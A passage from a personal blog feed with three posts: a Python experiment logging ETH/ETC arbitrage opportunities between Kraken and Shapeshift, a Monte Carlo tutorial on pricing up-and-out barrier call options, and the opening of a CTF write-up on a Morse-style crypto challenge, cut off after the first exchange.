the PnL graph.</p>
Practical Ethereum Arbitrage Experiments
2016-08-02T00:00:00+00:00
https://hkopp.github.io/2016/08/practical-ethereum-arbitrage-experiments
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>Inspired by <a href="http://jon.io/trading-ethereum-making-10-every-20-minutes.html">another
blogpost</a>
I decided to experiment with trading arbitrage between different
exchanges.
Not so long ago there was a hardfork in the blockchain-based
cryptocurrency Ethereum. This means that we now have two Ethereums:
Ethereum (ETH) and Ethereum Classic (ETC). The exchanges decided to
also support the original cryptocurrency, i.e., ETC, and so we can now
trade ETH against ETC and the other way around. The initial idea was
that ETHETC is such a new pair, that nobody is doing arbitrage yet.</p>
<h2 id="first-steps">First steps</h2>
<p>There is an <a href="https://github.com/veox/python2-krakenex">API for the Kraken
exchange</a> written in python
2 and an <a href="https://github.com/abitfan/shapeshiftio">API for Shapeshift</a>
which helped me immensely. Since I like Python and Shapeshift and
already have an account at Kraken this was the way to go.</p>
<p>The idea is to check the price of ETHETC at Kraken, and ETCETH at
Shapeshift and check if it is profitable to buy at one exchange and
sell back at the other exchange. In Pseudocode:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">get</span> <span class="n">fee_kraken</span>
<span class="n">get</span> <span class="n">fee_shapeshift</span>
<span class="k">while</span> <span class="bp">True</span> <span class="p">{</span>
<span class="n">get</span> <span class="n">price_ethetc_shapeshift</span>
<span class="n">get</span> <span class="n">price_etceth_kraken</span>
<span class="k">if</span><span class="p">(</span><span class="n">price_ethetc_shapeshift</span><span class="o">*</span><span class="n">price_etceth_kraken</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">fee_kraken</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">fee_shapeshift</span><span class="p">)</span><span class="o">></span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">trade</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">wait</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>Naturally we can also trade the other way around. For this we need
price_etceth_shapeshift instead of price_ethetc_shapeshift and for
kraken also the other way around. So the final pseudocode is as
follows.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">get</span> <span class="n">fee_kraken</span>
<span class="n">get</span> <span class="n">fee_shapeshift</span>
<span class="k">while</span> <span class="bp">True</span> <span class="p">{</span>
<span class="n">get</span> <span class="n">price_ethetc_shapeshift</span>
<span class="n">get</span> <span class="n">price_etceth_kraken</span>
<span class="n">get</span> <span class="n">price_etceth_shapeshift</span>
<span class="n">get</span> <span class="n">price_ethetc_kraken</span>
<span class="k">if</span><span class="p">(</span><span class="n">price_ethetc_shapeshift</span><span class="o">*</span><span class="n">price_etceth_kraken</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">fee_kraken</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">fee_shapeshift</span><span class="p">)</span><span class="o">></span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">trade</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">price_etceth_shapeshift</span><span class="o">*</span><span class="n">price_ethetc_kraken</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">fee_kraken</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">fee_shapeshift</span><span class="p">)</span><span class="o">></span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">trade</span> <span class="n">the</span> <span class="n">other</span> <span class="n">way</span> <span class="n">around</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">wait</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<h2 id="the-kraken-api">The Kraken API</h2>
<p>I wrote a file kraken.py which is a wrapper around the Kraken-API
exposing the relevant functions:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">krakenex</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="k">class</span> <span class="nc">Kraken</span><span class="p">():</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__api</span> <span class="o">=</span> <span class="n">krakenex</span><span class="p">.</span><span class="n">API</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">price_etceth</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="s">"""1 ETC is worth how much ETH?"""</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">print</span> <span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">query_public</span><span class="p">(</span><span class="s">'Ticker'</span><span class="p">,</span> <span class="p">{</span><span class="s">'pair'</span><span class="p">:</span> <span class="s">'XETCXETH'</span><span class="p">})</span>
<span class="k">return</span> <span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">query_public</span><span class="p">(</span><span class="s">'Ticker'</span><span class="p">,</span> <span class="p">{</span><span class="s">'pair'</span><span class="p">:</span> <span class="s">'XETCXETH'</span><span class="p">})[</span><span class="s">'result'</span><span class="p">][</span><span class="s">'XETCXETH'</span><span class="p">][</span><span class="s">'b'</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"An Error ocurred while fetching ETCETH@Kraken. "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span> <span class="o">+</span> <span class="s">" Trying again."</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">price_etceth</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">price_ethetc</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="s">"""1 ETH is worth how much ETC?"""</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">print</span> <span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">query_public</span><span class="p">(</span><span class="s">'Ticker'</span><span class="p">,</span> <span class="p">{</span><span class="s">'pair'</span><span class="p">:</span> <span class="s">'XETCXETH'</span><span class="p">})</span>
<span class="k">return</span> <span class="mi">1</span><span class="o">/</span><span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">query_public</span><span class="p">(</span><span class="s">'Ticker'</span><span class="p">,</span> <span class="p">{</span><span class="s">'pair'</span><span class="p">:</span> <span class="s">'XETCXETH'</span><span class="p">})[</span><span class="s">'result'</span><span class="p">][</span><span class="s">'XETCXETH'</span><span class="p">][</span><span class="s">'a'</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"An Error ocurred while fetching ETHETC@Kraken. "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span> <span class="o">+</span> <span class="s">" Trying again."</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">price_ethetc</span><span class="p">()</span></code></pre></figure>
<p>Note how defensively the code is written. Somecould the API connection
just timed out or the JSON object could not be decoded. In this case
we wait a second and then simply try again.</p>
<h2 id="the-shapeshift-api">The Shapeshift API</h2>
<p>Next I did the same for Shapeshift.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">print_function</span>
<span class="kn">from</span> <span class="nn">shapeshiftio</span> <span class="kn">import</span> <span class="n">ShapeShiftIO</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="k">class</span> <span class="nc">ShapeShift</span><span class="p">():</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="o">=</span><span class="n">ShapeShiftIO</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">price_etceth</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">rate</span><span class="p">(</span><span class="s">'etc_eth'</span><span class="p">))</span>
<span class="k">return</span> <span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">rate</span><span class="p">(</span><span class="s">'etc_eth'</span><span class="p">)[</span><span class="s">'rate'</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"An Error ocurred while fetching ETCETH@Shapeshift: %s Trying again."</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">price_etceth</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">price_ethetc</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">rate</span><span class="p">(</span><span class="s">'eth_etc'</span><span class="p">))</span>
<span class="k">return</span> <span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__api</span><span class="p">.</span><span class="n">rate</span><span class="p">(</span><span class="s">'eth_etc'</span><span class="p">)[</span><span class="s">'rate'</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"An Error ocurred while fetching ETHETC@Shapeshift: %s Trying again."</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">price_ethetc</span><span class="p">()</span></code></pre></figure>
<p>Here the errors from the API were much more varied. I got HTTP Error
503: Service Unavailable, HTTP Error 522: Origin Connection
Time-out, HTTP Error 525: Origin SSL Handshake Error, and also HTTP
Error 520: Origin Error. I did not even know those existed at all.
But on the second or third query they worked.</p>
<h2 id="wrapping-it-all-together">Wrapping it all together</h2>
<p>Now here the pseudocode from above again, but this time in Python 2.
And without the actual trading. We are just logging if arbitrage
opportunities exist.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">print_function</span>
<span class="kn">from</span> <span class="nn">kraken</span> <span class="kn">import</span> <span class="n">Kraken</span>
<span class="kn">from</span> <span class="nn">shapeshift</span> <span class="kn">import</span> <span class="n">ShapeShift</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="n">SHAPESHIFT_FEE</span> <span class="o">=</span> <span class="mf">0.0001</span> <span class="c1"># 0.01%
</span><span class="n">KRAKEN_FEE</span> <span class="o">=</span> <span class="mf">0.001</span> <span class="c1"># 0.1%
</span><span class="n">LOGFILE</span> <span class="o">=</span> <span class="s">'log.txt'</span>
<span class="k">def</span> <span class="nf">log</span><span class="p">(</span><span class="n">severity</span><span class="p">,</span> <span class="n">message</span><span class="p">):</span>
<span class="s">"""
Log to a file. Severity is one of ['DEBUG', 'INFO', 'CRITICAL']
"""</span>
<span class="n">logfile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">LOGFILE</span><span class="p">,</span> <span class="s">'a'</span><span class="p">)</span>
<span class="n">logfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">isoformat</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">now</span><span class="p">())</span><span class="o">+</span> <span class="s">" ["</span> <span class="o">+</span> <span class="n">severity</span> <span class="o">+</span><span class="s">"] - "</span><span class="o">+</span> <span class="n">message</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">logfile</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">():</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">Kraken</span><span class="p">()</span>
<span class="n">ss</span> <span class="o">=</span> <span class="n">ShapeShift</span><span class="p">()</span>
<span class="n">kraken_price_etceth</span> <span class="o">=</span> <span class="n">k</span><span class="p">.</span><span class="n">price_etceth</span><span class="p">()</span>
<span class="n">shapeshift_price_ethetc</span> <span class="o">=</span> <span class="n">ss</span><span class="p">.</span><span class="n">price_ethetc</span><span class="p">()</span>
<span class="n">log</span><span class="p">(</span><span class="s">"DEBUG"</span><span class="p">,</span> <span class="s">"KrakenETCETH: "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">kraken_price_etceth</span><span class="p">)</span><span class="o">+</span><span class="s">", SSETHETC: "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">shapeshift_price_ethetc</span><span class="p">))</span>
<span class="n">trading_profit</span><span class="o">=</span> <span class="n">kraken_price_etceth</span> <span class="o">*</span> <span class="n">shapeshift_price_ethetc</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">SHAPESHIFT_FEE</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">KRAKEN_FEE</span><span class="p">)</span>
<span class="n">log</span><span class="p">(</span><span class="s">"DEBUG"</span><span class="p">,</span> <span class="s">"returns when trading etc2eth@kraken + eth2etc@shapeshift (fees included): "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">trading_profit</span><span class="p">))</span>
<span class="k">if</span> <span class="n">trading_profit</span> <span class="o">></span> <span class="mi">1</span><span class="p">:</span>
<span class="n">log</span><span class="p">(</span><span class="s">"INFO"</span><span class="p">,</span> <span class="s">"ARBITRAGE OPPORTUNITY"</span><span class="p">)</span>
<span class="c1">#################################
</span> <span class="c1"># Now test the other way around #
</span> <span class="c1">#################################
</span> <span class="n">kraken_price_ethetc</span> <span class="o">=</span> <span class="n">k</span><span class="p">.</span><span class="n">price_ethetc</span><span class="p">()</span>
<span class="n">shapeshift_price_etceth</span> <span class="o">=</span> <span class="n">ss</span><span class="p">.</span><span class="n">price_etceth</span><span class="p">()</span>
<span class="n">log</span><span class="p">(</span><span class="s">"DEBUG"</span><span class="p">,</span> <span class="s">"KrakenETHETC: "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">kraken_price_ethetc</span><span class="p">)</span><span class="o">+</span><span class="s">", SSETCETH: "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">shapeshift_price_etceth</span><span class="p">)</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">trading_profit</span><span class="o">=</span> <span class="n">kraken_price_ethetc</span> <span class="o">*</span> <span class="n">shapeshift_price_etceth</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">SHAPESHIFT_FEE</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="mi">1</span><span class="o">-</span><span class="n">KRAKEN_FEE</span><span class="p">)</span>
<span class="n">log</span><span class="p">(</span><span class="s">"DEBUG"</span><span class="p">,</span> <span class="s">"returns when trading eth2etc@kraken + etc2eth@shapeshift (fees included): "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">trading_profit</span><span class="p">)</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">trading_profit</span> <span class="o">></span> <span class="mi">1</span><span class="p">:</span>
<span class="n">log</span><span class="p">(</span><span class="s">"INFO"</span><span class="p">,</span> <span class="s">"ARBITRAGE OPPORTUNITY</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">run</span><span class="p">()</span></code></pre></figure>
<p>Not exactly the most beautiful code, but it worked.<br />
The fees for Shapeshift and Kraken are straight from their websites.
Of course I could also have looked them up dynamically and if I would
plan to support more pairs, I would do that, but as a quick experiment
hardcoding sufficed.</p>
<h2 id="the-result">The Result</h2>
<p>Yes, there were some arbitrage opportunities. Sometimes they lasted
about half a minute which was a real surprise for me. On the other
hand the profit margins were really small. You would get around 0.6%
at most. Everything else I saw was around 0.1%. This was the reason I
did not continue the experiment, since these profit margins are too
small for me. There is also a timing risk involved, since you need to
make the deposit on both exchanges, but the price may have changed in
the meantime. You also need enough money, such that the profit will
not simply vanish as a rounding error. But the more money you use the
higher is your slippage which will also make the strategy
unprofitable.</p>
Pricing Continuous Barrier Options
2016-07-13T00:00:00+00:00
https://hkopp.github.io/2016/07/pricing-continuous-barrier-options
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post we are going to take a look at continuous barrier
options.
These are options which are activated or deactivated when crossing a
predetermined price barrier.
We will explain the In-Out-parity and compute the expected payoff.</p>
<h2 id="definitions">Definitions</h2>
<p>A continuous barrier option is an option on an underlying that pays
out (or does not pay out) depending on if the underlying has crossed a
price barrier. Once crossing that barrier and being activated
(deactivated), the option does not deactivate (activate) again.
The payouts can be european style, american style, bermudan style, or
some other stuff.</p>
<p>In particular there are four flavors of continuous barrier options:</p>
<ul>
<li>
<p><em>Up-and-out</em>: Here the price of the underlying starts below the barrier level and becomes invalid (knocked out, in trader geekspeak) if it crosses that level.</p>
</li>
<li>
<p><em>Down-and-out</em>: Here the price of the underlying starts above the barrier level and is knocked out when falling below that threshold.</p>
</li>
<li>
<p><em>Up-and-in</em>: The price of the underlying starts below the barrier level and becomes activated (knocked in) when crossing that level.</p>
</li>
<li>
<p><em>Down-and-in</em>: As one would expect, here spot price starts above the barrier level. When it crosses the barrier it is knocked in.</p>
</li>
</ul>
<h2 id="advantages">Advantages</h2>
<p>Why should you trade that stuff? Isn’t this some wall-street gambler
tool? <br />
It depends. You can of course use it as a gambler tool if you don’t
blame me when you lose.
Normally, one considers buying continuous barrier options in the same
situation where one considers buying vanilla options, namely when
using them to hedge a portfolio. In case they get knocked in, they
work like a vanilla option, so they can be used as an insurance
against price bumps.</p>
<p>Continuous barrier options have the advantage that they are cheaper
than their vanilla counterparts. As you can see, they will pay at most
the value of their vanilla counterpart, so their price is at most the
price of the vanilla option (in an arbitrage-free world).</p>
<h2 id="in-out-parity">In-out-parity</h2>
<p>With european options we saw that there is a <a href="/2015/01/put-call-parity-for-european-options">parity between the put
and the call</a>
which helped us to reduce the price of the call to the price of the
put, so we only needed to compute one of them.</p>
<p>It turns out, that with continuous barrier options there is a similar
parity, called the In-Out-parity.
Assume we are holding two continuous barrier options with the same barrier
level.
For the argument it does not matter if these are puts or calls.
One of these options is an X-and-in-option \(O_{in}\) the other is an
X-and-out-option \(O_{out}\).
Now two things can happen:</p>
<ol>
<li>
<p>If we are below the barrier at expiry time, then one of the options is
valid and pays according to the corresponding vanilla option \(O\),
whereas the other barrier option is invalid and pays nothing.</p>
</li>
<li>
<p>In contrast, if we are above the barrier level at expiry time, the
reverse happens. The option which paid out before now pays out
nothing, and the other option pays according to the vanilla option
\(O\).</p>
</li>
</ol>
<p>So, in both cases we get
\(\begin{align*}
O_{in}+O_{out}=O
\end{align*}\)</p>
<p>In plain language this means, that if you hold a knock in option and
the corresponding knock out option, then both together are knockless,
which is perhaps a word i made up.</p>
<p>Again as with european options the parity makes life easier.
If we know the price of the up-and-out option \(O_{out}\) and of the
vanilla option \(O\) we can compute the price of the up-and-in option
\(O_{in}\). <br />
This also works the other way: if we know the price of the
up-and-in option \(O_{in}\) and the vanilla option \(O\) and want to
know the price of \(O_{out}\).
It also works analogously for down-and-X options.</p>
<h2 id="pricing">Pricing</h2>
<p>How do we price these monsters?
As with other options, we can take the Black-Scholes differential
equation and solve for the boundary condition of the payoff of a
continuous barrier option.
Another possibility is the martingale pricing approach.</p>
<p>What we will do in the following is the easiest and slowest approach,
namely <a href="/2015/08/monte-carlo-option-pricing-again">Monte-carlo pricing</a>.
We will simulate many runs of the underlying asset assuming their spot
price follows a geometric brownian motion.</p>
<p>To make life easier, we will only compute european continuous barrier
call options.
W.l.o.g. we are concentrating on an up-and-out option.
Note that the price of the up-and-in option can be computed with the
In-Out-parity.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="c1"># Defining the relevant functions
</span>
<span class="k">def</span> <span class="nf">geometric_brownian_motion</span><span class="p">(</span><span class="n">N</span> <span class="o">=</span> <span class="mi">200</span><span class="p">,</span> <span class="n">T</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">S_0</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">mu</span><span class="o">=</span><span class="mf">0.08</span><span class="p">,</span> <span class="n">sigma</span> <span class="o">=</span> <span class="mf">0.05</span><span class="p">):</span>
<span class="s">"""N is the number of steps, T is the time of expiry,
S_0 is the beginning value, sigma is standard deviation"""</span>
<span class="n">deltat</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="n">T</span><span class="p">)</span><span class="o">/</span><span class="n">N</span> <span class="c1">#compute the size of the steps
</span> <span class="n">W</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">cumsum</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">standard_normal</span><span class="p">(</span><span class="n">size</span> <span class="o">=</span> <span class="n">N</span><span class="p">))</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="n">deltat</span><span class="p">)</span>
<span class="c1"># generate the brownian motion
</span> <span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">T</span><span class="p">,</span> <span class="n">N</span><span class="p">)</span>
<span class="n">X</span> <span class="o">=</span> <span class="p">(</span><span class="n">mu</span><span class="o">-</span><span class="mf">0.5</span><span class="o">*</span><span class="n">sigma</span><span class="o">**</span><span class="mi">2</span><span class="p">)</span><span class="o">*</span><span class="n">t</span> <span class="o">+</span> <span class="n">sigma</span><span class="o">*</span><span class="n">W</span>
<span class="n">S</span> <span class="o">=</span> <span class="n">S_0</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">exp</span><span class="p">(</span><span class="n">X</span><span class="p">)</span>
<span class="c1"># geometric brownian motion
</span> <span class="k">return</span> <span class="n">S</span>
<span class="k">def</span> <span class="nf">european_call_payoff</span><span class="p">(</span><span class="n">S_T</span><span class="p">,</span> <span class="n">K</span> <span class="o">=</span> <span class="mf">1.5</span><span class="p">):</span>
<span class="s">"""S_T is the price of the underlying at expiry.
K is the strike price"""</span>
<span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">maximum</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">S_T</span> <span class="o">-</span> <span class="n">K</span><span class="p">)</span> <span class="c1">#payoff for call option
</span>
<span class="k">def</span> <span class="nf">price_up_and_out_european_barrier_call</span><span class="p">(</span><span class="n">barrier</span><span class="p">,</span> <span class="n">S_0</span><span class="p">,</span> <span class="n">N</span> <span class="o">=</span> <span class="mi">500</span><span class="p">,</span> <span class="n">K</span> <span class="o">=</span> <span class="mf">0.5</span><span class="p">):</span>
<span class="s">"""barrier is the barrier level,
S_0 is the starting value of the underlying,
N is how many paths we will generate to take the mean.
K is the strike price."""</span>
<span class="n">paths</span> <span class="o">=</span> <span class="p">[</span><span class="n">geometric_brownian_motion</span><span class="p">(</span><span class="n">S_0</span> <span class="o">=</span> <span class="n">S_0</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span><span class="p">)]</span>
<span class="n">prices</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">paths</span><span class="p">:</span>
<span class="k">if</span> <span class="n">np</span><span class="p">.</span><span class="nb">max</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">></span> <span class="n">barrier</span><span class="p">:</span> <span class="c1"># knocked out
</span> <span class="n">prices</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">prices</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">european_call_payoff</span><span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="n">K</span><span class="p">))</span>
<span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">mean</span><span class="p">(</span><span class="n">prices</span><span class="p">)</span>
<span class="c1"># Simulating the price depending on the current spot
# barrier is at 2.5
# strike price is at 0.5
</span>
<span class="n">spot</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
<span class="n">prices</span> <span class="o">=</span> <span class="p">[</span><span class="n">price_up_and_out_european_barrier_call</span><span class="p">(</span><span class="mf">2.5</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span> <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">spot</span><span class="p">]</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">spot</span><span class="p">,</span> <span class="n">prices</span><span class="p">,</span> <span class="s">'--'</span><span class="p">,</span> <span class="n">linewidth</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p>Before showing the image, let us discuss what we expect.</p>
<p>We have an up-and-out call option with barrier of \(2.5\) and strike price
\(0.5\). We compute the expected payoff for all spots of the underlying between
\(0\) and \(3\). On the x-axis we get the spots and on the y-axis the expected
payoffs.</p>
<p>First, somewhere left of \(0.5\), the expected payoff should be zero, since the
call option there is zero and the asset will not move with high probability
enough to the right, such that the call option pays out.</p>
<p>Right of \(2.5\) the expected payoff is zero, since we have crossed the barrier
and thus the continuous barrier option is knocked out.</p>
<p>In between, we see the expected payoff of the call option and the more to the
left we go, the smaller will be the influence of the barrier.</p>
<p><img src="http://hkopp.github.io/assets/pricing-continuous-barrier-options/price_cbo.png" alt="Expected payoff of an up-and-out european call option" /></p>
<p>To get the price of the barrier option, we have to discount the interest rate.
This is left as a small exercise.</p>
<h2 id="practical-problems">Practical problems</h2>
<p>In practice there often is a problem with determining if the price of
the underlying has crossed the barrier level.
Concretely, which price do we take? The bid or the ask? The midpoint?
What happens when the spot price crosses the barrier level, but is not
traded at this price?</p>
<p>Because of these problems in practice one often does not have
continuous barrier options but rather discrete barrier options, which
take the prices of the close at the end of the day for determining if
they have crossed the barrier.</p>
Writeup The Neverending Crypto Challenge
2016-05-18T00:00:00+00:00
https://hkopp.github.io/2016/05/writeup-the-neverending-crypto-challenge
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>Last weekend i participated together with the <a href="https://uss.informatik.uni-ulm.de/">Ulm Security
Sparrows</a> in the TU CTF of the
University of Tulsa Tandy School.
A CTF, for those of you who do not know is a hacking contest where
hackers break security stuff and have fun overall.
I was mainly busy with the “neverending crypto challenge” and in this
post I am going to document what I have done there.
Many thanks to Uni Tulsa and to the Ulm Security Sparrows.</p>
<p>This post, together with the writeups of my comrades can also be found
<a href="https://uss.informatik.uni-ulm.de/?p=429">here</a>.</p>
<h2 id="level1">Level1</h2>
<p>The first hint that was given was to connect to port 24069 at the ip
146.148.102.236. Of course I did that and was greeted</p>
<blockquote>
<p>Welcome to The Neverending Crypto! <br />
Quick, find Falkor and get through this! <br />
This is level 1, the Bookstore <br />
Round 1. Give me some text:</p>
</blockquote>
<p>So, I typed ‘a’ on my keyboard and the server responded</p>
<blockquote>
<p>a encrypted is .- <br />
